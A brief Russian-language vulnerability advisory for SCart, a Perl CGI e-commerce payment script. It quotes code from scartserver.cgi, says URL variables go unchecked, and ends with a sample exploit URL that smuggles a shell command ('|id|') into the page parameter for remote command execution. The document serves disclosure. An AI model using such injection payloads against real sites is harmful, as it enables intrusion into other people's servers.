О SCart:
Приложение для оплаты покупок в электронных магазинах. Уязвимость:
В scart.cgi есть строки кода: ....
require 'scart.pl';
require '/home/scart/cgi-bin/2.0/scartserver.cgi';
....
затем в scartserver.cgi в папке cgi-bin находим: ....
$HTML{TAB2} =
"$baseurl$cgiurl/?action=show_page&base=base2.html&page=browse.txt";
$HTML{TAB3} =
"$baseurl$cgiurl/?action=show_page&base=base3.html&page=specials.txt";
$HTML{BUTTONBAR} = $buttonbar;
$HTML{VIEWCART} = "$baseurl$cgiurl?action=viewcart";
$HTML{CHECKOUT} = "$secureurl$cgiurl?action=checkout";
$HTML{TRACK} = "$baseurl$cgiurl?action=show_track";
$HTML{HELP} =
"$baseurl$cgiurl/?action=show_page&base=base.html&page=help.txt";
....
Переменные $baseurl и $cgiurl не проверяются. Это может быть
использовано для выполнения удаленных команд. Использование: http://www.scartserver.com/2.0/[client_user_name]/scart.cgi/?action=show_page&base=base2.html&page=|id|